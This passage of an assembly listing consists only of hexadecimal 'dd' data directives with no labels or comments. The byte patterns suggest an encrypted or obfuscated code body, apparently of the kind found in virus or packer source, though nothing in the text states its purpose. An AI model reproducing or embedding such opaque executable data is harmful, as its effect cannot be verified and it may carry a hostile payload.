		dd 0A4809205h, 7699A6D4h, 0F34C968Ah, 57F214Bh,	86F013BFh
		dd 0E1439742h, 0E0F00934h, 80F6012Dh, 3D7DC322h, 86F0C1ABh
		dd 5309143h, 86F079E3h,	0D7F65671h, 80F61DCAh, 43A92F22h
		dd 0A48A0E7Dh, 0A4B24226h, 80F6FC26h, 43A1B722h, 0B52582F1h
		dd 82EBE325h, 37F9193Fh, 818E67D9h, 3A9014F5h, 84773F20h
		dd 5AB18106h, 80F8184Ah, 112D7822h, 0DCA5AE49h,	2969D2Ah
		dd 536E2BF2h, 950332ABh, 7FAFC524h, 86ED3C97h, 6677A124h
		dd 0BBF232C4h, 0FC73B17Dh, 0EAF01758h, 831E5D22h, 0A0F68722h
		dd 9AC0078h, 1F2C576h, 95F2D466h, 0C2F67822h, 0CF9FFF70h
		dd 80F61BCAh, 0EA152722h, 3E907DC8h, 7FA9EF07h,	497368F2h
		dd 0EAF0F638h, 831E2A22h, 0A0F63C22h, 9ACDD78h,	1F22B76h
		dd 9AF2A366h, 0C2F6C322h, 25EF2270h, 19B7E6F3h,	460FF37Eh
		dd 86F7FDA7h, 68964D24h, 80F60F28h, 0F900C930h,	0BEE2CE45h
		dd 851ECABCh, 4F6F022h,	6EC94C25h, 0E8976378h, 3D45D741h
		dd 1048444h, 8D26A316h,	809CA689h, 80F50971h, 0DBD6F022h
		dd 0DC7F23E1h, 0C4773806h, 80ED1A06h, 0D3B50F22h, 0E291DFE1h
		dd 15313DCBh, 0D17B68DAh, 7FF0F631h, 86EDA597h,	0D1F65624h
		dd 80F61DCAh, 43AF2F22h, 0A4BA0E7Bh, 0A4B24226h, 80F6F426h
		dd 43A7B122h, 0FF907D7h, 80F63C21h, 0D06A12Dh, 898C73A7h
		dd 80E46E24h, 8951C322h, 0DF8D3370h, 2275F231h,	0D8CDF577h
		dd 0B749C9BBh, 4D76CEDDh, 851E6F53h, 0AAF68722h, 0D8D12E30h
		dd 80F6E7CBh, 43841722h, 0DA992589h, 5084DCA3h,	9973CC5h
		dd 86FB7EA7h, 0D3F6ED24h, 80F6C0CAh, 43ADC122h,	0A4AA7979h
		dd 0A4B2F926h, 80F62726h, 43A55D22h, 0B8E9CD1Ah, 6E43C17Ch
		dd 0B962890h, 86F978B7h, 0E1017B24h, 8137FDE4h,	0EAB13A24h
		dd 831E4B22h, 0A0F60F22h, 9AB447Fh, 1F2E74Eh, 96F2C566h
		dd 0C5F6F022h, 0A525BB77h, 0BB5454A3h, 737D737Ch, 87D20BA3h
		dd 9BC0780h, 86D846A7h,	5D431E24h, 81F0F639h, 86C6BD9Fh
		dd 0FC73B124h, 0BF01758h, 7F2584D1h, 0C54CE1F2h, 0F5734ACBh
		dd 8FF0E726h, 80F6F6AFh, 497BF122h, 46F03A13h, 86F7DFA7h
		dd 3D7F4824h, 86F0AE07h, 4C14384Ah, 0A4F26069h,	0B6F9DD5Dh
		dd 68A47848h, 80F63C21h, 0DA354402h, 84D25BABh,	84D2C3A3h
		dd 80F6C336h, 6535B360h, 3509A975h, 86F063FFh, 68A53C48h
		dd 80F61E21h, 0DB355402h, 84D2DBABh, 84D287A3h,	80F6E13Bh
		dd 5C35A361h, 30AA633Eh, 3573B500h, 0DF01830h, 898C73A7h
		dd 80F96E24h, 17D4C322h, 0DE646D78h, 4C80B99Ah,	48DC8EB3h
		dd 0E626C3F9h, 94F5D98h, 86E8BEA7h, 0D1F6ED24h,	80F6C0CAh
		dd 43AFC122h, 0A4BA797Bh, 0A4B2F926h, 80F62026h, 43A75F22h
		dd 0DB60829Ch, 0D6297D65h, 0F97B48BCh, 9F0E700h, 86E079BFh
		dd 4173BE24h, 0C7F03A23h, 0DE9EEFA8h, 0D0AD29A0h, 69C78870h
		dd 80F6C325h, 64BD1E53h, 0DAAA1C9Dh, 0A4F2F97Ah, 0CF5085DDh
		dd 93678B29h, 35090924h, 86F09CFFh, 68A4C348h, 80F6E121h
		dd 0DA35AA02h, 84D22CABh, 84D278A3h, 80F61E3Eh,	0F7355D60h
		dd 1E2190BEh, 2D3F6DA0h, 8EDF5C21h, 57BF624h, 86FF025Eh
		dd 371A8544h, 809CCEDDh, 80F5E774h, 0DED68722h,	0F47F9DE1h
		dd 0C477E506h, 80ECF406h, 0D6B07822h, 0EBA664E1h, 60CA61C1h
		dd 194B8471h, 0D9F08107h, 0C1731CA3h, 57FA598h,	86F0D393h
		dd 68A37848h, 80F63C21h, 0DD354302h, 84D263ABh,	84D2C3A3h
		dd 80F6C335h, 0E935B467h, 9A5710Bh, 86E3C9AFh, 0EA26C324h
		dd 831E4E22h, 0A0F60F22h, 9AE447Ah, 1F2E766h, 98F2C566h
		dd 0C0F6F022h, 5C15BB72h, 8FECAA08h, 57FCE95h, 86F0228Bh
		dd 68A18748h, 80F6C321h, 0DF35BE02h, 84D28CABh,	84D23CA3h
		dd 80F63C3Eh, 0C0354965h
		dd 0D3F9023Ah, 41B37809h, 80F6CACAh, 2574BE22h,	921A452Eh
		dd 0E6A927ADh, 809CE4AEh, 80F5F674h, 0DED60F22h, 0F47FD9E1h
		dd 0C477C706h, 80E0E506h, 0D6B0F022h, 54B50CE1h, 0A3EF81ABh
		dd 84D21824h, 68A30F48h, 80F68721h, 0DD359E02h,	84D28DABh
		dd 84D2B4A3h, 80F6783Bh, 57356967h, 77F2E4A8h, 8F3605BBh
		dd 80F415A6h, 0D2F6A922h, 80F6E2CAh, 43ACD022h,	0A4A2F178h
		dd 0A4B2BD26h, 80F60A26h, 43A44D22h, 2D430C1Ah,	46F0C533h
		dd 86F720A7h, 809CBF24h, 80F59077h, 0DDD63C22h,	0EC7F43E1h
		dd 0C4770B06h, 80EE8306h, 0D5B3C322h, 0BEA215E1h, 3DDF32FCh
		dd 86F05CB3h, 0DEA78E4Ah, 80FFF7C0h, 34430F22h,	0F55A3886h
		dd 1491901h, 0BD80C516h, 5F9ADFCh, 80F67824h, 0D150D3A3h
		dd 350958B5h, 86F014FFh, 80F695CBh, 610BC22h, 230B5836h
		dd 5D645532h, 23C76E63h, 62B106h, 57BC6C3h, 86FF755Eh
		dd 68A08748h, 80F6C321h, 0DE35BF02h, 84D284ABh,	84D23CA3h
		dd 80F63C3Fh, 0A2354864h, 4C3BD244h, 0FF481134h, 9263C83h
		dd 86E69097h, 0A4367324h, 68A67848h, 80F63C21h,	0D8354602h
		dd 84D24BABh, 84D2C3A3h, 80F6C336h, 0B35B162h, 0F1E9959Dh
		dd 0A173F168h, 0EAF03A00h, 831E4D22h, 0A0F60F22h, 9AD4479h
		dd 1F2E77Eh, 9AF2C566h,	0C3F6F022h, 0F70ABB71h,	85E67FF2h
		dd 683C9576h, 80F60F33h, 8CA6A469h, 985FBCD4h, 5D0F4C0Eh
		dd 0F8F73ED4h, 53417799h, 2973B778h, 9F0180Fh, 86E2069Fh
		dd 316B0C24h, 0BF0C501h, 86FB1497h, 9B7DB324h, 68A37848h
		dd 80F63C21h, 0DD354302h, 84D263ABh, 84D2C3A3h,	80F6C33Eh
		dd 7D35B467h, 237F646Eh, 0AEA25C1Eh, 157D27A9h,	86F03683h
		dd 3F9014A9h, 58C5F32Eh, 0AF3F7EABh, 1D7FE724h,	86F0C407h
		dd 8137FDE4h, 9B13A24h,	86C58FB7h, 51346724h, 8D1FF042h
		dd 69F6C322h, 6C865666h, 0D582ACDDh, 4A073DCDh,	67D238A3h
		dd 0BB66029h, 86E7669Fh, 51430C24h, 7FF0C507h, 86ED3C97h
		dd 57B0C24h, 86FF025Eh,	8D07B1A9h, 50091824h, 68A10F48h
		dd 80F68721h, 0DF359C02h, 84D29DABh, 84D2B4A3h,	80F6783Fh
		dd 25356B65h, 0CC9C8B0Bh, 0D8FCDDB9h, 0F5730ECCh, 0C0F0C526h
		dd 68A7E148h, 80F6F021h, 0D9352102h, 84D270ABh,	84D25AA3h
		dd 80F60F3Fh, 2935D663h, 0B6D505Ah, 1BC926DAh, 2D6BF1A5h
		dd 0BF07E39h, 757B1F22h, 0BF01802h, 8F1E5922h, 0DDF68722h
		dd 0CE1ED87Ah, 4C7EC7AEh, 4868EDE1h, 3D7DD2EDh,	86F03D47h
		dd 57F4078h, 86F0130Fh,	68A38748h, 80F6C321h, 0DD35BC02h
		dd 84D29CABh, 84D23CA3h, 80F63C3Bh, 80354B67h, 3D50A231h
		dd 81F56EA3h, 8C1FC322h, 0EAF6E122h, 6241A694h,	605FAF8Ah
		dd 0D778959h, 8952A0A7h, 0D1F66524h, 80F684CAh,	43AFE322h
		dd 0A4BA687Bh, 0A4B27126h, 80F66D26h, 43A77D22h, 4977B7F4h
		dd 0AD121C71h, 80E26F72h, 7A8DC322h, 0A40C4B89h, 5867698h
		dd 1299FB07h, 86D4E0Dh,	9A9FE89h, 809C2B26h, 80F56F74h
		dd 0DED6C322h, 0F47FBFE1h, 0C477F406h, 80ED7C06h, 0D6B03C22h
		dd 0F61610E1h, 19DE3907h, 316378C7h, 0BF0C530h,	86FEDC97h
		dd 446B7D24h, 9F07186h,	86FBB9AFh, 0E6A54E24h, 9ACDCA9h
		dd 881FA33Eh, 0D6F6C322h, 5D716478h, 103C7686h,	0D03DF344h
		dd 5D6BB5B2h, 7FF01811h, 86DDC2B7h, 0D1F6ED24h,	80F6C0CAh
		dd 43AFC122h, 0A4BA797Bh, 0A4B2F926h, 80F62B26h, 43A75F22h
		dd 8139EADDh, 0DFDD3844h, 9264844h, 86D4C0A7h, 0D7F69A24h
		dd 80F67BCAh, 43A91C22h, 0A48A977Dh, 0A4B28E26h, 80F69326h
		dd 43A18422h, 417327D8h, 0D3F0F623h, 80F3EDA9h,	841E3A24h
		dd 0FFF61E22h, 0E05C88A6h, 0E0AFD442h, 0D097A243h, 3A90B372h
		dd 0B1F9643Ch, 0D8AC82A9h, 84D278A9h, 80FB9F2Dh, 0D2A60F22h
		dd 9DF1629Dh, 0D7C7CC3Fh, 0BAEBB7Dh, 0A4B27922h, 0E64F1E26h
		dd 8F964F3h, 80F61E24h,	82EB9AA9h, 35098124h, 86F0D8FFh
		dd 80E2642Dh, 8F1FF022h, 36F67822h, 0AEACD544h,	0A23B1D00h
		dd 358EA442h, 57B4342h,	86FFB95Eh, 33176044h, 0EA260FBAh
		dd 831E2E22h, 0A0F63C22h, 9A8DD7Ch, 1F22B56h, 9AF2A366h
		dd 0C6F6C322h, 29CA2274h, 91CF730Dh, 4943F1ADh,	9F03A32h
		dd 86DA03A7h, 0D2F66524h, 80F684CAh, 43ACE322h,	0A4A26878h
		dd 0A4B27126h, 80F66C26h, 43A47E22h, 3D7D7EBAh,	86F002BFh
		dd 0A16312A9h, 4697C524h, 86F720A7h, 3DDFB724h,	86F06B23h
		dd 80F638CAh, 0F2E38E22h, 414F6983h, 0D2A6D7A8h, 0D93D4874h
		dd 3896D02Dh, 0EC658C69h, 80F6F62Dh, 0DA973C22h, 0A4B2957Ah
		dd 0E6F68426h, 0C47F76A9h, 0BAEC706h, 5D431EF2h, 0EAF0F639h
		dd 831E2A22h, 0A0F63C22h, 9ACDD78h, 1F22B76h, 9AF2A366h
		dd 0C2F6C322h, 78612270h, 5F8BF791h, 979DC251h,	357F3A96h
		dd 86F0115Fh, 0FA8A8AAFh, 0AF9812Bh, 80F6C32Fh,	95C15A42h
		dd 57DFEA0h, 86F06BEFh,	3F906E43h, 7FAF06F2h, 0D6F665F2h
		dd 80F684CAh, 43A8E322h, 0A482687Ch, 0A4B27126h, 80F66F26h
		dd 43A07A22h, 203DD2D2h, 9EBF8AABh, 809C8124h, 80F52B75h
		dd 0DFD6E122h, 0FC7FAFE1h, 0C4777C06h, 80E03806h, 0D7B11E22h
		dd 0AD2765E1h, 2C80689Ch, 80F12A67h, 0EF9E122h,	0D863D742h
		dd 4173BEC1h, 0D3F03A23h, 68A41E48h, 80F60F21h,	0DA35DD02h
		dd 84D297ABh, 84D2A5A3h, 80F6F037h, 7D352A60h, 957B3537h
		dd 0E8F01803h, 0C51E071Dh, 80F697CAh, 0BA968822h, 0B8CA9BEh
		dd 4D02E3DBh, 0F6E4A55Fh, 8D1E6B45h, 62F61E22h,	0A6E87E91h
		dd 29FA7E58h, 65FCF27Dh, 1AFB87Ch, 0D7A7D426h, 76772B73h
		dd 0D00583BFh, 9B2BABDDh, 809C0924h, 80F56F70h,	0DAD6C322h
		dd 0D47FBBE1h, 0C477F406h, 80EB7C06h, 0D2B43C22h, 9672EFE1h
		dd 0CF88F09Ch, 91DD1F0h, 86E14E9Fh, 0FC736C24h,	0EAF0F958h
		dd 831E2B22h, 0A0F63C22h, 9ADDD79h, 1F22B7Eh, 9DF2A366h
		dd 0C3F6C322h, 0B1612271h, 0B8771CD0h, 0D683082h, 7D6BB5DAh
		dd 7FF01805h, 0D2F665F2h, 80F684CAh, 43ACE322h,	0A4A26878h
		dd 0A4B27126h, 80F66026h, 43A47E22h, 0A10825D9h, 1905FDEh
		dd 0DAC9EDF4h, 876746ABh, 0A349E724h, 46EFD8FDh, 86F7B9A7h
		dd 809C6B24h, 80F5F674h, 0DED60F22h, 0F47FD9E1h, 0C477C706h
		dd 80E1E506h, 0D6B0F022h, 0C74F96E1h, 0E143B51Ah, 68F01808h
		dd 80F60F26h, 10F2D524h, 80F6CECAh, 9F902522h, 4E5B1B5Eh
		dd 0CFAFC58Ch, 3F90FBA5h, 0D0A9DA7Ah, 0E0A85C42h, 0B547E642h
		dd 0C47DA243h, 8B1EE506h, 94F6F022h, 0F354D1BBh, 0E3FDD7Ah
		dd 254F5ED8h, 0DFDEAB24h, 881F87A9h, 8DF6C322h,	8B103BFAh
		dd 9320EB6h, 68F25C66h,	80F63C2Dh, 7910A617h, 89A9FE02h
		dd 6D1FC18h, 0E6B1BFB9h, 0DE5DEF9Bh, 0D1F69A7Ah, 80F67BCAh
		dd 43AF1C22h, 0A4BA977Bh, 0A4B28E26h, 80F69226h, 43A78222h
		dd 8C1F6EFDh, 0F9F6F022h, 19963874h, 6563AE0Fh,	7FB9380Fh
		dd 86EDD297h, 0E103E724h, 0FA8A46AFh, 5009E72Bh, 68A6F048h
		dd 80F67821h, 0D8356402h, 84D25AABh, 84D24BA3h,	80F68737h
		dd 8359362h, 80F00813h,	0A741F022h, 0F608CE60h,	920BB9ABh
		dd 809C1824h, 80F5E777h, 0DDD68722h, 0EC7F9EE1h, 0C477E506h
		dd 80EDF406h, 0D5B37822h, 6FECEDE1h, 54D7F8D2h,	4173C985h
		dd 0C3F08123h, 0AF6F7E11h, 841EE724h, 0A8F6F022h, 0D04AE852h
		dd 5F1C8544h, 84D25AA9h
		dd 80F605CBh, 91C2D622h, 22E8D65Eh, 0B3C1F80h, 0A4B27922h
		dd 79D1C226h, 75AE53F1h, 9B2BABDDh, 809C0924h, 80F56F74h
		dd 0DED6C322h, 0F47FBFE1h, 0C477F406h, 80E17C06h, 0D6B03C22h
		dd 210734E1h, 0FC73829Dh, 8FF08E58h, 5009389Dh,	57F2FA9h
		dd 86F0EA1Fh, 68A57848h, 80F63C21h, 0DB354502h,	84D253ABh
		dd 84D2C3A3h, 80F6C33Eh, 0C935B261h, 656840EAh,	8A80275Ah
		dd 0A19389ABh, 57B1824h, 86FFAB96h, 8E473AABh, 0D166C524h
		dd 713B5B44h, 7B7DA07Dh, 9173F1B2h, 7FF03A00h, 86E4AFB7h
		dd 0D5F66524h, 80F684CAh, 43ABE322h, 0A49A687Fh, 0A4B27126h
		dd 80F66F26h, 43A37922h, 7BFA56Fh, 4D7B26DEh, 0BF08138h
		dd 0D1F6A9FAh, 80F6E2CAh, 43AFD022h, 0A4BAF17Bh, 0A4B2BD26h
		dd 80F60326h, 43A74E22h, 6E9103D2h, 307E59D1h, 61777DFCh
		dd 918B06F1h, 245EFDAFh, 0B963A2Bh, 86E40FAFh, 1A1C8E24h
		dd 0E18700E5h, 80FE2AB2h, 13E0E122h, 0AD8C29Bh,	68A6FDD9h
		dd 80F63C2Dh, 64BB620Bh, 95B7F56Bh, 0B8EF00A3h,	3E0F7DAAh
		dd 0E1E7FE5Ah, 37F96078h, 0D2A628D3h, 0B906E72h, 68C711D8h
		dd 80F60F2Eh, 50BDDCF8h, 405E56D5h, 0B1581B76h,	8FAEAA7Ch
		dd 0DAF9CD13h, 0A4EAB57Ah, 0B7079F44h, 4D63F046h, 9F08109h
		dd 86E61AB7h, 71736824h, 0EAF0F63Dh, 831E2E22h,	0A0F63C22h
		dd 9A8DD7Ch, 1F22B56h, 9BF2A366h, 0C6F6C322h, 1C992274h
		dd 83BB454Dh, 5318D04h,	86F018B7h, 80F61E2Dh, 68A00F48h
		dd 80F68721h, 0DE359D02h, 84D295ABh, 84D2B4A3h,	80F6783Fh
		dd 0FD356A64h, 8DC86B4Bh, 0D0292B47h, 5E76E76Ah, 0E6973F3Ah
		dd 7FC33F9Ch, 86E901B7h, 0C963F124h, 9F03A01h, 86F8EFA7h
		dd 0D4486F24h, 3F89872Dh, 0B2308C19h, 0B1736A43h, 0DF0F639h
		dd 8940A6BFh, 81B5B524h, 0B0B3A3AFh, 357B0924h,	86FF319Ah
		dd 80F6F09Bh, 6B521222h, 80F64811h, 40FD7822h, 98343F56h
		dd 0A4B29522h, 801E5C2Eh, 0DBF68722h, 80E100A3h, 0DC7FE122h
		dd 0C47FE006h, 38AD6C06h, 80569C15h, 0C47DFEDDh, 60090B06h
		dd 0ED430CD7h, 0E1F0C538h, 0AC4774A9h, 3D7BF624h, 86FFDC8Ah
		dd 37E3B1AFh, 0B54E182Bh, 0B36E2989h, 86EAFAA7h, 4139E824h
		dd 22EA96CBh, 22831EB4h, 7FA0F6F0h, 4E09ABBBh, 6601F218h
		dd 229AF23Ah, 0E983F60Fh, 8BA4F305h, 5B589D9h, 0E9060613h
		dd 8Eh,	0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh
		dd 0DEC35747h, 1F3710A5h, 50F0A907h, 0B360F833h, 2CBB603Ch
		dd 667BFAC4h, 0AA3ACF81h, 6A616161h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 0B238C352h
		dd 19DCC8C5h, 56006AC3h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1704h, 0C3564600h, 2CB8CBC4h, 11E9h,	0B9B7D300h, 0FBD76A8Eh
		dd 7CEA7C90h, 0F53B384h, 0C08B76B9h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Dh, 8DC35646h, 4124B4Dh, 11236CFh
		dd 0BD83F9D4h, 60630D1h, 83097500h, 604B5BDh, 19740006h
		dd 0C08B5350h, 4B9B8h, 0B9858900h, 8D060620h, 8B2C89Dh
		dd 5BD3FF06h, 0B5BD8358h, 60604h, 53501774h, 4B9B8h, 0B9858900h
		dd 8D060620h, 8AF699Dh,	5BD3FF06h, 6AFC58h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 150424h, 50400000h, 601929C3h
		dd 0AE8h, 7D62B300h, 544826CCh,	0E9CAA122h, 11h, 361FA045h
		dd 21C78AA2h, 6E9D10EBh, 0F00233Bh, 10E95AACh, 0E4000000h
		dd 0E611DE3Fh, 0CDF357F0h, 9F6A0612h, 61B0B461h, 0F0BF0F60h
		dd 6AC08B61h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 15042444h, 47000000h, 88B4C357h, 0EE9h, 2BE07900h, 7BFAAB2Ah
		dd 0C10EDCE7h, 40ABDCF2h, 0B589C18Bh, 606178Dh,	8C0Fh
		dd 4EB0000h, 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 91C35141h
		dd 29599589h, 85010606h, 60615DDh, 2369858Dh, 880F0606h
		dd 8, 75BD8B51h, 5E060603h, 43BE6650h, 24048926h, 845AE781h
		dd 6A61ADh, 6A006AF5h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 97DBC350h, 0C182235Dh
		dd 0ED958960h, 57060623h, 615F5A51h, 8D5FF551h,	9BAAF85h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1504h
		dd 0C3514100h, 8E86164h, 85000000h, 0EED2396h, 0BF333C20h
		dd 3F71BC42h, 5C0835Fh,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 16h, 5C35343h, 5090808Ah, 60310F52h, 844FE7BBh
		dd 585A6108h, 7E850h, 0EEDF0000h, 67F6049Bh, 6A905EE0h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1C042444h
		dd 45000000h, 3ECFC355h, 0C74B40A7h, 6A59B4D8h,	57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1704h, 0C3574700h
		dd 728ADFFEh, 6AF2B70Fh, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1904h, 0C3514100h, 0E0DE2CD3h, 9D29E366h
		dd 60629B9h, 2F9D95FFh,	6A0606h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 170424h, 51410000h, 0B1A017C3h, 0A9BD09F6h
		dd 0F060627h, 68Bh, 35958900h, 8D060604h, 995159Dh, 14E906h
		dd 20930000h, 0E862B4CBh, 5B1C1C4Fh, 55F89925h,	11679D0Bh
		dd 0D3FF8CADh, 0F5D85FFh, 0B52B0606h, 6062A9Dh,	7A0E9h
		dd 0E800h, 815D0000h, 9BAB9EDh,	57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 0D446CF14h
		dd 66D3F0A2h, 0D1F8C681h, 2495BD81h, 7D00606h, 860F0000h
		dd 17Eh, 0E850006Ah, 3,	58C35820h, 4244489h, 4244481h
		dd 1Ch,	0AAC35040h, 0FEBB7CCFh,	80FACEA1h, 415BD89h, 9D8B0606h
		dd 6062171h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 18h,	0DCC35040h, 0AAADBh, 0DE9h, 0B55F0D00h,	79032EBDh
		dd 0F03970AAh, 0E381FA40h, 100h, 0E851006Ah, 3,	59C35920h
		dd 4244C89h, 4244481h, 15h, 4AC35141h, 5E823h, 195B0000h
		dd 8B21E8B4h, 61129BDh,	0DB0B5F06h, 7B850Fh, 6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
		dd 0ED9185C3h, 0B8E3BD83h, 0F000609h, 1184h, 419D3100h
		dd 89060601h, 615098Dh,	4FE906h, 85C70000h, 609B8E3h, 1
		dd 205B58Bh, 3AE90606h,	6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 0BE2DC356h
		dd 0F2BE0244h, 2B263401h, 61B95BDh, 0E385C706h,	609B8h
		dd 29000000h, 61BD1BDh,	719D8D06h, 6A060621h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 2115C350h, 231FF3E9h, 238183C4h, 0FFFFFEFFh,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 1EC35545h, 0F8EC0B9Eh
		dd 30C59589h, 8C660606h, 51006ADBh, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1404h, 0C3514100h, 6890F2Bh, 89000000h, 621758Dh
		dd 4C3F606h, 4E840Fh, 60600000h, 810Fh,	0BE80000h, 0E000000h
		dd 0A31930BBh, 0C67C8CCCh, 6158997Ah, 0E6816653h, 615B37DBh
		dd 1FF195FFh, 95890606h, 606252Dh, 3115B58Bh, 0E9900606h
		dd 8, 0BED8E139h, 925C1DC9h, 0F38B5750h, 0B58B905Eh, 6062D4Dh
		dd 430E9h, 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h
		dd 1604h, 0C3524200h, 0E8064D36h, 7, 0E19ED492h, 6618B8D7h
		dd 8D3FC681h, 6A00B05Eh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 0EB9EC357h,	16154457h
		dd 601A8BADh, 0C6F8BF66h, 0FE9h, 8604900h, 6F27BAA7h, 0EAD87DD6h
		dd 9ADE86C0h, 6A70E661h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 14042444h, 46000000h, 8BE8C356h, 6292DB5h
		dd 8B71E406h, 0D8B60FFEh, 375BD31h, 6BA0606h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 3238C352h, 6DF2A97h, 1140ADDDh, 12399589h
		dd 0C38B0606h, 711B589h, 0E8C10606h, 0FB8B6604h, 81E2F766h
		dd 1BC080D6h, 0F18B6629h, 6AD82Bh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1D0424h, 51410000h, 5A46ADC3h, 5A23F555h
		dd 89F02F80h, 6167995h,	319D8906h, 5006061Ch, 0EE9h, 7CCAB800h
		dd 0E868DEE4h, 6E8A395h, 8931C800h, 6A241Ch, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 160424h, 56460000h, 2657CDC3h
		dd 2495B5FFh, 0FF50606h, 95FFFBB7h, 6061AC9h, 14E9h, 0F9F3E300h
		dd 5F3BFA6Bh, 0D0EAC8D3h, 0E1DECF1Ch, 0F91A1397h, 0E600B06Ch
		dd 52006A70h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1B04h
		dd 0C3524200h, 0BFAEA0AEh, 40D678F6h, 41B4BE66h, 0F78B71E4h
		dd 830F613Ch, 27Dh, 9E9h, 26119E00h, 4EEEE8BBh,	0B60F517Ah
		dd 950150D8h, 60603B1h,	6BA5Eh,	0B58B0000h, 6060895h, 6AC38Bh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 8B5871C3h, 0EE9F9h, 1E320000h, 3CC5EEA1h, 5A360766h
		dd 0E97CE5h, 0C1FEB70Fh, 6A04E8h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 150424h, 55450000h, 8BDF2FC3h, 61581BDh
		dd 0FE906h, 0F5520000h,	79DA8DBAh, 427D973h, 0AD7873C2h
		dd 0E2F766EDh, 1BC9BD89h, 0D82B0606h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 16h, 0F5C35646h,	6A5835A6h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h
		dd 78EBC351h, 4D4D8775h, 13E8h,	68C26300h, 0B1C439DCh
		dd 61236A52h, 3A6EDA50h, 0A8DC299Ah, 1CD78166h,	0D82B5E71h
		dd 177880Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1C0424h, 56460000h, 0F8F5A8C3h, 7804201h, 8B663F20h
		dd 0F6D781F8h, 0B91EFA72h, 7, 6830Fh, 0D7810000h, 190978ADh
		dd 0BE00C183h, 514FD087h, 0FE9h, 6DB21000h, 92EC3516h
		dd 4F8A3AFEh, 60F2FD2Eh, 860FD93Bh, 115h, 89F88B66h, 633C18Dh
		dd 0D98C6606h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 19h,	83C35747h, 2AD6C2B9h, 4DB501A8h, 0F6060631h, 840F04C1h
		dd 0B6h, 0E850006Ah, 3,	58C35820h, 4244489h, 4244481h
		dd 1Ch,	0CC35040h, 0B08FBDDCh, 0B3CD8BFh, 0FFF1B70Fh, 61FF195h
		dd 0D382BE06h, 6A5B6736h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 15042444h, 43000000h, 6183C353h, 0BE66C32Bh
		dd 343DF96Ch, 0F000008h, 5586h,	55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1704h,	0C3554500h, 0FE7DB4CCh
		dd 54E9h, 9D8B6000h, 60631B9h, 12E8h, 0AC89A700h
		dd 0B1621Fh, 69DC388Dh,	0B9FD9F96h, 0B556E3F4h,	0E9615E50h
		dd 0Ah,	90C68246h, 84E4B291h, 0C08BB2DBh, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 14h, 0C2C35242h, 0F88B6650h
		dd 8BC38B5Eh, 51006AD8h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1D04h, 0C3514100h, 7062AC76h, 0F57C71E1h, 13E93344h
		dd 1E000000h, 0AC131155h, 90E58669h, 0CD28FAA6h, 0C261A569h
		dd 85C7F26Eh, 6062955h,	37A5677Fh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Dh, 5DC35242h, 991D343Dh, 0EC604D40h
		dd 9DBD890Fh, 6606061Dh, 0F97CE81h, 7E9C08Bh, 83000000h
		dd 3B8D55A2h, 95899958h, 6061381h, 2495BD81h, 7D00606h
		dd 850F0000h, 14h, 0BD33F38Bh, 60633F9h, 249585FFh, 0B5310606h
		dd 6063385h, 2495B5FFh,	0BF0F0606h, 0C995FFF3h,	6606061Ah
		dd 0B890FB8Bh, 12345678h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ch, 0FEC35040h, 923F0868h, 8E06BEDFh, 8DFA8B66h
		dd 9C1F29Dh, 0F88BE906h, 6AFFFFh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1D0424h, 57470000h, 328EF1C3h, 0FF84C89Dh
		dd 89FD33E4h, 607F985h,	6AC18B06h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 4D02C351h
		dd 2677229Ah, 4EBh, 6A0000h, 3E852h, 5A200000h,	54895AC3h
		dd 44810424h, 190424h, 52420000h, 0ACC1C0C3h, 0E88F3497h
		dd 13h,	14573BB2h, 291AE398h, 77DCFE5Ch, 0DDE58530h, 0BE43514Ah
		dd 1C0602AFh, 0BD8B515Fh, 606010Dh, 69858D5Eh, 89060623h
